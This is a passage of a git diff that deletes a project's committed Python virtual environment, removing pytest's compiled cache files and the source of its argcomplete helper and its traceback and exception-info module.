mode 100644 index 56ac6de6..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/tmpdir.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/unittest.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/unittest.cpython-311.pyc deleted file mode 100644 index ef1885be..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/unittest.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/unraisableexception.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/unraisableexception.cpython-311.pyc deleted file mode 100644 index b4539898..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/unraisableexception.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/warning_types.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/warning_types.cpython-311.pyc deleted file mode 100644 index 2ebe296c..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/warning_types.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/warnings.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/warnings.cpython-311.pyc deleted file mode 100644 index d3627166..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/warnings.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/_argcomplete.py b/backend/venv/Lib/site-packages/_pytest/_argcomplete.py deleted file mode 100644 index 59426ef9..00000000 --- a/backend/venv/Lib/site-packages/_pytest/_argcomplete.py +++ /dev/null @@ -1,117 +0,0 @@ -"""Allow bash-completion for argparse with argcomplete if installed. - -Needs argcomplete>=0.5.6 for python 3.2/3.3 (older versions fail -to find the magic string, so _ARGCOMPLETE env. var is never set, and -this does not need special code). - -Function try_argcomplete(parser) should be called directly before -the call to ArgumentParser.parse_args(). - -The filescompleter is what you normally would use on the positional -arguments specification, in order to get "dirname/" after "dirn" -instead of the default "dirname ": - - optparser.add_argument(Config._file_or_dir, nargs='*').completer=filescompleter - -Other, application specific, completers should go in the file -doing the add_argument calls as they need to be specified as .completer -attributes as well. (If argcomplete is not installed, the function the -attribute points to will not be used). - -SPEEDUP -======= - -The generic argcomplete script for bash-completion -(/etc/bash_completion.d/python-argcomplete.sh) -uses a python program to determine startup script generated by pip. -You can speed up completion somewhat by changing this script to include - # PYTHON_ARGCOMPLETE_OK -so the python-argcomplete-check-easy-install-script does not -need to be called to find the entry point of the code and see if that is -marked with PYTHON_ARGCOMPLETE_OK. - -INSTALL/DEBUGGING -================= - -To include this support in another application that has setup.py generated -scripts: - -- Add the line: - # PYTHON_ARGCOMPLETE_OK - near the top of the main python entry point. - -- Include in the file calling parse_args(): - from _argcomplete import try_argcomplete, filescompleter - Call try_argcomplete just before parse_args(), and optionally add - filescompleter to the positional arguments' add_argument(). - -If things do not work right away: - -- Switch on argcomplete debugging with (also helpful when doing custom - completers): - export _ARC_DEBUG=1 - -- Run: - python-argcomplete-check-easy-install-script $(which appname) - echo $? - will echo 0 if the magic line has been found, 1 if not. - -- Sometimes it helps to find early on errors using: - _ARGCOMPLETE=1 _ARC_DEBUG=1 appname - which should throw a KeyError: 'COMPLINE' (which is properly set by the - global argcomplete script). -""" - -from __future__ import annotations - -import argparse -from glob import glob -import os -import sys -from typing import Any - - -class FastFilesCompleter: - """Fast file completer class.""" - - def __init__(self, directories: bool = True) -> None: - self.directories = directories - - def __call__(self, prefix: str, **kwargs: Any) -> list[str]: - # Only called on non option completions. - if os.sep in prefix[1:]: - prefix_dir = len(os.path.dirname(prefix) + os.sep) - else: - prefix_dir = 0 - completion = [] - globbed = [] - if "*" not in prefix and "?" not in prefix: - # We are on unix, otherwise no bash. - if not prefix or prefix[-1] == os.sep: - globbed.extend(glob(prefix + ".*")) - prefix += "*" - globbed.extend(glob(prefix)) - for x in sorted(globbed): - if os.path.isdir(x): - x += "/" - # Append stripping the prefix (like bash, not like compgen). - completion.append(x[prefix_dir:]) - return completion - - -if os.environ.get("_ARGCOMPLETE"): - try: - import argcomplete.completers - except ImportError: - sys.exit(-1) - filescompleter: FastFilesCompleter | None = FastFilesCompleter() - - def try_argcomplete(parser: argparse.ArgumentParser) -> None: - argcomplete.autocomplete(parser, always_complete_options=False) - -else: - - def try_argcomplete(parser: argparse.ArgumentParser) -> None: - pass - - filescompleter = None diff --git a/backend/venv/Lib/site-packages/_pytest/_code/__init__.py b/backend/venv/Lib/site-packages/_pytest/_code/__init__.py deleted file mode 100644 index 0bfde426..00000000 --- a/backend/venv/Lib/site-packages/_pytest/_code/__init__.py +++ /dev/null @@ -1,26 +0,0 @@ -"""Python inspection/code generation API.""" - -from __future__ import annotations - -from .code import Code -from .code import ExceptionInfo -from .code import filter_traceback -from .code import Frame -from .code import getfslineno -from .code import Traceback -from .code import TracebackEntry -from .source import getrawcode -from .source import Source - - -__all__ = [ - "Code", - "ExceptionInfo", - "filter_traceback", - "Frame", - "getfslineno", - "getrawcode", - "Traceback", - "TracebackEntry", - "Source", -] diff --git a/backend/venv/Lib/site-packages/_pytest/_code/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/_code/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 5b9ec0a1..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/_code/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/_code/__pycache__/code.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/_code/__pycache__/code.cpython-311.pyc deleted file mode 100644 index bbb721f4..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/_code/__pycache__/code.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/_code/__pycache__/source.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/_code/__pycache__/source.cpython-311.pyc deleted file mode 100644 index 9e8008ed..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/_code/__pycache__/source.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/_code/code.py b/backend/venv/Lib/site-packages/_pytest/_code/code.py deleted file mode 100644 index e7452825..00000000 --- a/backend/venv/Lib/site-packages/_pytest/_code/code.py +++ /dev/null @@ -1,1403 +0,0 @@ -# mypy: allow-untyped-defs -from __future__ import annotations - -import ast -import dataclasses -import inspect -from inspect import CO_VARARGS -from inspect import CO_VARKEYWORDS -from io import StringIO -import os -from pathlib import Path -import re -import sys -import traceback -from traceback import format_exception_only -from types import CodeType -from types import FrameType -from types import TracebackType -from typing import Any -from typing import Callable -from typing import ClassVar -from typing import Final -from typing import final -from typing import Generic -from typing import Iterable -from typing import List -from typing import Literal -from typing import Mapping -from typing import overload -from typing import Pattern -from typing import Sequence -from typing import SupportsIndex -from typing import Tuple -from typing import Type -from typing import TypeVar -from typing import Union - -import pluggy - -import _pytest -from _pytest._code.source import findsource -from _pytest._code.source import getrawcode -from _pytest._code.source import getstatementrange_ast -from _pytest._code.source import Source -from _pytest._io import TerminalWriter -from _pytest._io.saferepr import safeformat -from _pytest._io.saferepr import saferepr -from _pytest.compat import get_real_func -from _pytest.deprecated import check_ispytest -from _pytest.pathlib import absolutepath -from _pytest.pathlib import bestrelpath - - -if sys.version_info < (3, 11): - from exceptiongroup import BaseExceptionGroup - -TracebackStyle = Literal["long", "short", "line", "no", "native", "value", "auto"] - -EXCEPTION_OR_MORE = Union[Type[Exception], Tuple[Type[Exception], ...]] - - -class Code: - """Wrapper around Python code objects.""" - - __slots__ = ("raw",) - - def __init__(self, obj: CodeType) -> None: - self.raw = obj - - @classmethod - def from_function(cls, obj: object) -> Code: - return cls(getrawcode(obj)) - - def __eq__(self, other): - return self.raw == other.raw - - # Ignore type because of https://github.com/python/mypy/issues/4266. - __hash__ = None # type: ignore - - @property - def firstlineno(self) -> int: - return self.raw.co_firstlineno - 1 - - @property - def name(self) -> str: - return self.raw.co_name - - @property - def path(self) -> Path | str: - """Return a path object pointing to source code, or an ``str`` in - case of ``OSError`` / non-existing file.""" - if not self.raw.co_filename: - return "" - try: - p = absolutepath(self.raw.co_filename) - # maybe don't try this checking - if not p.exists(): - raise OSError("path check failed.") - return p - except OSError: - # XXX maybe try harder like the weird logic - # in the standard lib [linecache.updatecache] does? - return self.raw.co_filename - - @property - def fullsource(self) -> Source | None: - """Return a _pytest._code.Source object for the full source file of the code.""" - full, _ = findsource(self.raw) - return full - - def source(self) -> Source: - """Return a _pytest._code.Source object for the code object's source only.""" - # return source only for that part of code - return Source(self.raw) - - def getargs(self, var: bool = False) -> tuple[str, ...]: - """Return a tuple with the argument names for the code object. - - If 'var' is set True also return the names of the variable and - keyword arguments when present. - """ - # Handy shortcut for getting args. - raw = self.raw - argcount = raw.co_argcount - if var: - argcount += raw.co_flags & CO_VARARGS - argcount += raw.co_flags & CO_VARKEYWORDS - return raw.co_varnames[:argcount] - - -class Frame: - """Wrapper around a Python frame holding f_locals and f_globals - in which expressions can be evaluated.""" - - __slots__ = ("raw",) - - def __init__(self, frame: FrameType) -> None: - self.raw = frame - - @property - def lineno(self) -> int: - return self.raw.f_lineno - 1 - - @property - def f_globals(self) -> dict[str, Any]: - return self.raw.f_globals - - @property - def f_locals(self) -> dict[str, Any]: - return self.raw.f_locals - - @property - def code(self) -> Code: - return Code(self.raw.f_code) - - @property - def statement(self) -> Source: - """Statement this frame is at.""" - if self.code.fullsource is None: - return Source("") - return self.code.fullsource.getstatement(self.lineno) - - def eval(self, code, **vars): - """Evaluate 'code' in the frame. - - 'vars' are optional additional local variables. - - Returns the result of the evaluation. - """ - f_locals = self.f_locals.copy() - f_locals.update(vars) - return eval(code, self.f_globals, f_locals) - - def repr(self, object: object) -> str: - """Return a 'safe' (non-recursive, one-line) string repr for 'object'.""" - return saferepr(object) - - def getargs(self, var: bool = False): - """Return a list of tuples (name, value) for all arguments. - - If 'var' is set True, also include the variable and keyword arguments - when present. - """ - retval = [] - for arg in self.code.getargs(var): - try: - retval.append((arg, self.f_locals[arg])) - except KeyError: - pass # this can occur when using Psyco - return retval - - -class TracebackEntry: - """A single entry in a Traceback.""" - - __slots__ = ("_rawentry", "_repr_style") - - def __init__( - self, - rawentry: TracebackType, - repr_style: Literal["short", "long"] | None = None, - ) -> None: - self._rawentry: Final = rawentry - self._repr_style: Final = repr_style - - def with_repr_style( - self, repr_style: Literal["short", "long"] | None - ) -> TracebackEntry: - return TracebackEntry(self._rawentry, repr_style) - - @property - def lineno(self) -> int: - return self._rawentry.tb_lineno - 1 - - @property - def frame(self) -> Frame: - return Frame(self._rawentry.tb_frame) - - @property - def relline(self) -> int: - return self.lineno - self.frame.code.firstlineno - - def __repr__(self) -> str: - return "" % (self.frame.code.path, self.lineno + 1) - - @property - def statement(self) -> Source: - """_pytest._code.Source object for the current statement.""" - source = self.frame.code.fullsource - assert source is not None - return source.getstatement(self.lineno) - - @property - def path(self) -> Path | str: - """Path to the source code.""" - return self.frame.code.path - - @property - def locals(self) -> dict[str, Any]: - """Locals of underlying frame.""" - return self.frame.f_locals - - def getfirstlinesource(self) -> int: - return self.frame.code.firstlineno - - def getsource( - self, astcache: dict[str | Path, ast.AST] | None = None - ) -> Source | None: - """Return failing source code.""" - # we use the passed in astcache to not reparse asttrees - # within exception info printing - source = self.frame.code.fullsource - if source is None: - return None - key = astnode = None - if astcache is not None: - key = self.frame.code.path - if key is not None: - astnode = astcache.get(key, None) - start = self.getfirstlinesource() - try: - astnode, _, end = getstatementrange_ast( - self.lineno, source, astnode=astnode - ) - except SyntaxError: - end = self.lineno + 1 - else: - if key is not None and astcache is not None: - astcache[key] = astnode - return source[start:end] - - source = property(getsource) - - def ishidden(self, excinfo: ExceptionInfo[BaseException] | None) -> bool: - """Return True if the current frame has a var __tracebackhide__ - resolving to True. - - If __tracebackhide__ is a callable, it gets called with the - ExceptionInfo instance and can decide whether to hide the traceback. - - Mostly for internal use. - """ - tbh: bool | Callable[[ExceptionInfo[BaseException] | None], bool] = False - for maybe_ns_dct in (self.frame.f_locals, self.frame.f_globals): - # in normal cases, f_locals and f_globals are dictionaries - # however via `exec(...)` / `eval(...)` they can be other types - # (even incorrect types!). - # as such, we suppress all exceptions while accessing __tracebackhide__ - try: - tbh = maybe_ns_dct["__tracebackhide__"] - except Exception: - pass - else: - break - if tbh and callable(tbh): - return tbh(excinfo) - return tbh - - def __str__(self) -> str: - name = self.frame.code.name - try: - line = str(self.statement).lstrip() - except KeyboardInterrupt: - raise - except BaseException: - line = "???" - # This output does not quite match Python's repr for traceback entries, - # but changing it to do so would break certain plugins. See - # https://github.com/pytest-dev/pytest/pull/7535/ for details. - return " File %r:%d in %s\n %s\n" % ( - str(self.path), - self.lineno + 1, - name, - line, - ) - - @property - def name(self) -> str: - """co_name of underlying code.""" - return self.frame.code.raw.co_name - - -class Traceback(List[TracebackEntry]): - """Traceback objects encapsulate and offer higher level access to Traceback entries.""" - - def __init__( - self, - tb: TracebackType | Iterable[TracebackEntry], - ) -> None: - """Initialize from given python traceback object and ExceptionInfo.""" - if isinstance(tb, TracebackType): - - def f(cur: TracebackType) -> Iterable[TracebackEntry]: - cur_: TracebackType | None = cur - while cur_ is not None: - yield TracebackEntry(cur_) - cur_ = cur_.tb_next - - super().__init__(f(tb)) - else: - super().__init__(tb) - - def cut( - self, - path: os.PathLike[str] | str | None = None, - lineno: int | None = None, - firstlineno: int | None = None, - excludepath: os.PathLike[str] | None = None, - ) -> Traceback: - """Return a Traceback instance wrapping part of this Traceback. - - By providing any combination of path, lineno and firstlineno, the - first frame to start the to-be-returned traceback is determined. - - This allows cutting the first part of a Traceback instance e.g. - for formatting reasons (removing some uninteresting bits that deal - with handling of the exception/traceback). - """ - path_ = None if path is None else os.fspath(path) - excludepath_ = None if excludepath is None else os.fspath(excludepath) - for x in self: - code = x.frame.code - codepath = code.path - if path is not None and str(codepath) != path_: - continue - if ( - excludepath is not None - and isinstance(codepath, Path) - and excludepath_ in (str(p) for p in codepath.parents) # type: ignore[operator] - ): - continue - if lineno is not None and x.lineno != lineno: - continue - if firstlineno is not None and x.frame.code.firstlineno != firstlineno: - continue - return Traceback(x._rawentry) - return self - - @overload - def __getitem__(self, key: SupportsIndex) -> TracebackEntry: ... - - @overload - def __getitem__(self, key: slice) -> Traceback: ... - - def __getitem__(self, key: SupportsIndex | slice) -> TracebackEntry | Traceback: - if isinstance(key, slice): - return self.__class__(super().__getitem__(key)) - else: - return super().__getitem__(key) - - def filter( - self, - excinfo_or_fn: ExceptionInfo[BaseException] | Callable[[TracebackEntry], bool], - /, - ) -> Traceback: - """Return a Traceback instance with certain items removed. - - If the filter is an `ExceptionInfo`, removes all the ``TracebackEntry``s - which are hidden (see ishidden() above). - - Otherwise, the filter is a function that gets a single argument, a - ``TracebackEntry`` instance, and should return True when the item should - be added to the ``Traceback``, False when not. - """ - if isinstance(excinfo_or_fn, ExceptionInfo): - fn = lambda x: not x.ishidden(excinfo_or_fn) # noqa: E731 - else: - fn = excinfo_or_fn - return Traceback(filter(fn, self)) - - def recursionindex(self) -> int | None: - """Return the index of the frame/TracebackEntry where recursion originates if - appropriate, None if no recursion occurred.""" - cache: dict[tuple[Any, int, int], list[dict[str, Any]]] = {} - for i, entry in enumerate(self): - # id for the code.raw is needed to work around - # the strange metaprogramming in the decorator lib from pypi - # which generates code objects that have hash/value equality - # XXX needs a test - key = entry.frame.code.path, id(entry.frame.code.raw), entry.lineno - values = cache.setdefault(key, []) - # Since Python 3.13 f_locals is a proxy, freeze it. - loc = dict(entry.frame.f_locals) - if values: - for otherloc in values: - if otherloc == loc: - return i - values.append(loc) - return None - - -E = TypeVar("E", bound=BaseException, covariant=True) - - -@final -@dataclasses.dataclass -class ExceptionInfo(Generic[E]): - """Wraps sys.exc_info() objects and offers help for navigating the traceback.""" - - _assert_start_repr: ClassVar = "AssertionError('assert " - - _excinfo: tuple[type[E], E, TracebackType] | None - _striptext: str - _traceback: Traceback | None - - def __init__( - self, - excinfo: tuple[type[E], E, TracebackType] | None, - striptext: str = "", - traceback: Traceback | None = None, - *, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - self._excinfo = excinfo - self._striptext = striptext - self._traceback = traceback - - @classmethod - def from_exception( - cls, - # Ignoring error: "Cannot use a covariant type variable as a parameter". - # This is OK to ignore because this class is (conceptually) readonly. - # See https://github.com/python/mypy/issues/7049. - exception: E, # type: ignore[misc] - exprinfo: str | None = None, - ) -> ExceptionInfo[E]: - """Return an ExceptionInfo for an existing exception. - - The exception must have a non-``None`` ``__traceback__`` attribute, - otherwise this function fails with an assertion error. This means that - the exception must have been raised, or added a traceback with the - :py:meth:`~BaseException.with_traceback()` method. - - :param exprinfo: - A text string helping to determine if we should strip - ``AssertionError`` from the output. Defaults to the exception - message/``__str__()``. - - .. versionadded:: 7.4 - """ - assert exception.__traceback__, ( - "Exceptions passed to ExcInfo.from_exception(...)" - " must have a non-None __traceback__." - ) - exc_info = (type(exception), exception, exception.__traceback__) - return cls.from_exc_info(exc_info, exprinfo) - - @classmethod - def from_exc_info( - cls, - exc_info: tuple[type[E], E, TracebackType], - exprinfo: str | None = None, - ) -> ExceptionInfo[E]: - """Like :func:`from_exception`, but using old-style exc_info tuple.""" - _striptext = "" - if exprinfo is None and isinstance(exc_info[1], AssertionError): - exprinfo = getattr(exc_info[1], "msg", None) - if exprinfo is None: - exprinfo = saferepr(exc_info[1]) - if exprinfo and exprinfo.startswith(cls._assert_start_repr): - _striptext = "AssertionError: " - - return cls(exc_info, _striptext, _ispytest=True) - - @classmethod - def from_current(cls, exprinfo: str | None = None) -> ExceptionInfo[BaseException]: - """Return an ExceptionInfo matching the current traceback. - - .. warning:: - - Experimental API - - :param exprinfo: - A text string helping to determine if we should strip - ``AssertionError`` from the output. Defaults to the exception - message/``__str__()``. - """ - tup = sys.exc_info() - assert tup[0] is not None, "no current exception" - assert tup[1] is not None, "no current exception" - assert tup[2] is not None, "no current exception" - exc_info = (tup[0], tup[1], tup[2]) - return ExceptionInfo.from_exc_info(exc_info, exprinfo) - - @classmethod - def for_later(cls) -> ExceptionInfo[E]: - """Return an unfilled ExceptionInfo.""" - return cls(None, _ispytest=True) - - def fill_unfilled(self, exc_info: tuple[type[E], E, TracebackType]) -> None: - """Fill an unfilled ExceptionInfo created with ``for_later()``.""" - assert self._excinfo is None, "ExceptionInfo was already filled" - self._excinfo = exc_info - - @property - def type(self) -> type[E]: - """The exception class.""" - assert ( - self._excinfo is not None - ), ".type can only be used after the context manager exits" - return self._excinfo[0] - - @property - def value(self) -> E: - """The exception value.""" - assert ( - self._excinfo is not None - ), ".value can only be used after the context manager exits" - return self._excinfo[1] - - @property - def tb(self) -> TracebackType: - """The exception raw traceback.""" - assert ( - self._excinfo is not None - ), ".tb can only be used after the context manager exits" - return self._excinfo[2] - - @property - def typename(self) -> str: - """The type name of the exception.""" - assert ( - self._excinfo is not None - ), ".typename can only be used after the context manager exits" - return self.type.__name__ - - @property - def traceback(self) -> Traceback: - """The traceback.""" - if self._traceback is None: - self._traceback = Traceback(self.tb) - return self._traceback - - @traceback.setter - def traceback(self, value: Traceback) -> None: - self._traceback = value - - def __repr__(self) -> str: - if self._excinfo is None: - return "" - return f"<{self.__class__.__name__} {saferepr(self._excinfo[1])} tblen={len(self.traceback)}>" - - def exconly(self, tryshort: bool = False) -> str: - """Return the exception as a string. - - When 'tryshort' resolves to True, and the exception is an - AssertionError, only the actual exception part of the exception - representation is returned (so 'AssertionError: ' is removed from - the beginning). - """ - lines = format_exception_only(self.type, self.value) - text = "".join(lines) - text = text.rstrip() - if tryshort: - if text.startswith(self._striptext): - text = text[len(self._striptext) :] - return text - - def errisinstance(self, exc: EXCEPTION_OR_MORE) -> bool: - """Return True if the exception is an instance of exc. - - Consider using ``isinstance(excinfo.value, exc)`` instead. - """ - return isinstance(self.value, exc) - - def _getreprcrash(self) -> ReprFileLocation | None: - # Find last non-hidden traceback entry that led to the exception of the - # traceback, or None if all hidden. - for i in range(-1, -len(self.traceback) - 1, -1): - entry = self.traceback[i] - if not entry.ishidden(self): - path, lineno = entry.frame.code.raw.co_filename, entry.lineno - exconly = self.exconly(tryshort=True) - return ReprFileLocation(path, lineno + 1, exconly) - return None - - def getrepr( - self, - showlocals: bool = False, - style: TracebackStyle = "long", - abspath: bool = False, - tbfilter: bool - | Callable[[ExceptionInfo[BaseException]], _pytest._code.code.Traceback] = True, - funcargs: bool = False, - truncate_locals: bool = True, - truncate_args: bool = True, - chain: bool = True, - ) -> ReprExceptionInfo | ExceptionChainRepr: - """Return str()able representation of this exception info. - - :param bool showlocals: - Show locals per traceback entry. - Ignored if ``style=="native"``. - - :param str style: - long|short|line|no|native|value traceback style. - - :param bool abspath: - If paths should be changed to absolute or left unchanged. - - :param tbfilter: - A filter for traceback entries. - - * If false, don't hide any entries. - * If true, hide internal entries and entries that contain a local - variable ``__tracebackhide__ = True``. - * If a callable, delegates the filtering to the callable. - - Ignored if ``style`` is ``"native"``. - - :param bool funcargs: - Show fixtures ("funcargs" for legacy purposes) per traceback entry. - - :param bool truncate_locals: - With ``showlocals==True``, make sure locals can be safely represented as strings. - - :param bool truncate_args: - With ``showargs==True``, make sure args can be safely represented as strings. - - :param bool chain: - If chained exceptions in Python 3 should be shown. - - .. versionchanged:: 3.9 - - Added the ``chain`` parameter. - """ - if style == "native": - return ReprExceptionInfo( - reprtraceback=ReprTracebackNative( - traceback.format_exception( - self.type, - self.value, - self.traceback[0]._rawentry if self.traceback else None, - ) - ), - reprcrash=self._getreprcrash(), - ) - - fmt = FormattedExcinfo( - showlocals=showlocals, - style=style, - abspath=abspath, - tbfilter=tbfilter, - funcargs=funcargs, - truncate_locals=truncate_locals, - truncate_args=truncate_args, - chain=chain, - ) - return fmt.repr_excinfo(self) - - def _stringify_exception(self, exc: BaseException) -> str: - try: - notes = getattr(exc, "__notes__", []) - except KeyError: - # Workaround for https://github.com/python/cpython/issues/98778 on - # Python <= 3.9, and some 3.10 and 3.11 patch versions. - HTTPError = getattr(sys.modules.get("urllib.error", None), "HTTPError", ()) - if sys.version_info < (3, 12) and isinstance(exc, HTTPError): - notes = [] - else: - raise - - return "\n".join( - [ - str(exc), - *notes, - ] - ) - - def match(self, regexp: str | Pattern[str]) -> Literal[True]: - """Check whether the regular expression `regexp` matches the string - representation of the exception using :func:`python:re.search`. - - If it matches `True` is returned, otherwise an `AssertionError` is raised. - """ - __tracebackhide__ = True - value = self._stringify_exception(self.value) - msg = f"Regex pattern did not match.\n Regex: {regexp!r}\n Input: {value!r}" - if regexp == value: - msg += "\n Did you mean to `re.escape()` the regex?" - assert re.search(regexp, value), msg - # Return True to allow for "assert excinfo.match()". - return True - - def _group_contains( - self, - exc_group: BaseExceptionGroup[BaseException], - expected_exception: EXCEPTION_OR_MORE, - match: str | Pattern[str] | None, - target_depth: int | None = None, - current_depth: int = 1, - ) -> bool: - """Return `True` if a `BaseExceptionGroup` contains a matching exception.""" - if (target_depth is not None) and (current_depth > target_depth): - # already descended past the target depth - return False - for exc in exc_group.exceptions: - if isinstance(exc, BaseExceptionGroup): - if self._group_contains( - exc, expected_exception, match, target_depth, current_depth + 1 - ): - return True - if (target_depth is not None) and (current_depth != target_depth): - # not at the target depth, no match - continue - if not isinstance(exc, expected_exception): - continue - if match is not None: - value = self._stringify_exception(exc) - if not re.search(match, value): - continue - return True - return False - - def group_contains( - self, - expected_exception: EXCEPTION_OR_MORE, - *, - match: str | Pattern[str] | None = None, - depth: int | None = None, - ) -> bool: - """Check whether a captured exception group contains a matching exception. - - :param Type[BaseException] | Tuple[Type[BaseException]] expected_exception: - The expected exception type, or a tuple if one of multiple possible - exception types are expected. - - :param str | Pattern[str] | None match: - If specified, a string containing a regular expression, - or a regular expression object, that is tested against the string - representation of the exception and its `PEP-678 ` `__notes__` - using :func:`re.search`. - - To match a literal string that may contain :ref:`special characters - `, the pattern can first be escaped with :func:`re.escape`. - - :param Optional[int] depth: - If `None`, will search for a matching exception at any nesting depth. - If >= 1, will only match an exception if it's at the specified depth (depth = 1 being - the exceptions contained within the topmost exception group). - - .. versionadded:: 8.0 - """ - msg = "Captured exception is not an instance of `BaseExceptionGroup`" - assert isinstance(self.value, BaseExceptionGroup), msg - msg = "`depth` must be >= 1 if specified" - assert (depth is None) or (depth >= 1), msg - return self._group_contains(self.value, expected_exception, match, depth) - - -@dataclasses.dataclass -class FormattedExcinfo: - """Presenting information about failing Functions and Generators.""" - - # for traceback entries - flow_marker: ClassVar = ">" - fail_marker: ClassVar = "E" - - showlocals: bool = False - style: TracebackStyle = "long" - abspath: bool = True - tbfilter: bool | Callable[[ExceptionInfo[BaseException]], Traceback] = True - funcargs: bool = False - truncate_locals: bool = True - truncate_args: bool = True - chain: bool = True - astcache: dict[str | Path, ast.AST] = dataclasses.field( - default_factory=dict, init=False, repr=False - ) - - def _getindent(self, source: Source) -> int: - # Figure out indent for the given source. - try: - s = str(source.getstatement(len(source) - 1)) - except KeyboardInterrupt: - raise - except BaseException: - try: - s = str(source[-1]) - except KeyboardInterrupt: - raise - except BaseException: - return 0 - return 4 + (len(s) - len(s.lstrip())) - - def _getentrysource(self, entry: TracebackEntry) -> Source | None: - source = entry.getsource(self.astcache) - if source is not None: - source = source.deindent() - return source - - def repr_args(self, entry: TracebackEntry) -> ReprFuncArgs | None: - if self.funcargs: - args = [] - for argname, argvalue in entry.frame.getargs(var=True): - if self.truncate_args: - str_repr = saferepr(argvalue) - else: - str_repr = saferepr(argvalue, maxsize=None) - args.append((argname, str_repr)) - return ReprFuncArgs(args) - return None - - def get_source( - self, - source: Source | None, - line_index: int = -1, - excinfo: ExceptionInfo[BaseException] | None = None, - short: bool = False, - ) -> list[str]: - """Return formatted and marked up source lines.""" - lines = [] - if source is not None and line_index < 0: - line_index += len(source) - if source is None or line_index >= len(source.lines) or line_index < 0: - # `line_index` could still be outside `range(len(source.lines))` if - # we're processing AST with pathological position attributes. - source = Source("???") - line_index = 0 - space_prefix = " " - if short: - lines.append(space_prefix + source.lines[line_index].strip()) - else: - for line in source.lines[:line_index]: - lines.append(space_prefix + line) - lines.append(self.flow_marker + " " + source.lines[line_index]) - for line in source.lines[line_index + 1 :]: - lines.append(space_prefix + line) - if excinfo is not None: - indent = 4 if short else self._getindent(source) - lines.extend(self.get_exconly(excinfo, indent=indent, markall=True)) - return lines - - def get_exconly( - self, - excinfo: ExceptionInfo[BaseException], - indent: int = 4, - markall: bool = False, - ) -> list[str]: - lines = [] - indentstr = " " * indent - # Get the real exception information out. - exlines = excinfo.exconly(tryshort=True).split("\n") - failindent = self.fail_marker + indentstr[1:] - for line in exlines: - lines.append(failindent + line) - if not markall: - failindent = indentstr - return lines - - def repr_locals(self, locals: Mapping[str, object]) -> ReprLocals | None: - if self.showlocals: - lines = [] - keys = [loc for loc in locals if loc[0] != "@"] - keys.sort() - for name in keys: - value = locals[name] - if name == "__builtins__": - lines.append("__builtins__ = ") - else: - # This formatting could all be handled by the - # _repr() function, which is only reprlib.Repr in - # disguise, so is very configurable. - if self.truncate_locals: - str_repr = saferepr(value) - else: - str_repr = safeformat(value) - # if len(str_repr) < 70 or not isinstance(value, (list, tuple, dict)): - lines.append(f"{name:<10} = {str_repr}") - # else: - # self._line("%-10s =\\" % (name,)) - # # XXX - # pprint.pprint(value, stream=self.excinfowriter) - return ReprLocals(lines) - return None - - def repr_traceback_entry( - self, - entry: TracebackEntry | None, - excinfo: ExceptionInfo[BaseException] | None = None, - ) -> ReprEntry: - lines: list[str] = [] - style = ( - entry._repr_style - if entry is not None and entry._repr_style is not None - else self.style - ) - if style in ("short", "long") and entry is not None: - source = self._getentrysource(entry) - if source is None: - source = Source("???") - line_index = 0 - else: - line_index = entry.lineno - entry.getfirstlinesource() - short = style == "short" - reprargs = self.repr_args(entry) if not short else None - s = self.get_source(source, line_index, excinfo, short=short) - lines.extend(s) - if short: - message = f"in {entry.name}" - else: - message = excinfo and excinfo.typename or "" - entry_path = entry.path - path = self._makepath(entry_path) - reprfileloc = ReprFileLocation(path, entry.lineno + 1, message) - localsrepr = self.repr_locals(entry.locals) - return ReprEntry(lines, reprargs, localsrepr, reprfileloc, style) - elif style == "value": - if excinfo: - lines.extend(str(excinfo.value).split("\n")) - return ReprEntry(lines, None, None, None, style) - else: - if excinfo: - lines.extend(self.get_exconly(excinfo, indent=4)) - return ReprEntry(lines, None, None, None, style) - - def _makepath(self, path: Path | str) -> str: - if not self.abspath and isinstance(path, Path): - try: - np = bestrelpath(Path.cwd(), path) - except OSError: - return str(path) - if len(np) < len(str(path)): - return np - return str(path) - - def repr_traceback(self, excinfo: ExceptionInfo[BaseException]) -> ReprTraceback: - traceback = excinfo.traceback - if callable(self.tbfilter): - traceback = self.tbfilter(excinfo) - elif self.tbfilter: - traceback = traceback.filter(excinfo) - - if isinstance(excinfo.value, RecursionError): - traceback, extraline = self._truncate_recursive_traceback(traceback) - else: - extraline = None - - if not traceback: - if extraline is None: - extraline = "All traceback entries are hidden. Pass `--full-trace` to see hidden and internal frames." - entries = [self.repr_traceback_entry(None, excinfo)] - return ReprTraceback(entries, extraline, style=self.style) - - last = traceback[-1] - if self.style == "value": - entries = [self.repr_traceback_entry(last, excinfo)] - return ReprTraceback(entries, None, style=self.style) - - entries = [ - self.repr_traceback_entry(entry, excinfo if last == entry else None) - for entry in traceback - ] - return ReprTraceback(entries, extraline, style=self.style) - - def _truncate_recursive_traceback( - self, traceback: Traceback - ) -> tuple[Traceback, str | None]: - """Truncate the given recursive traceback trying to find the starting - point of the recursion. - - The detection is done by going through each traceback entry and - 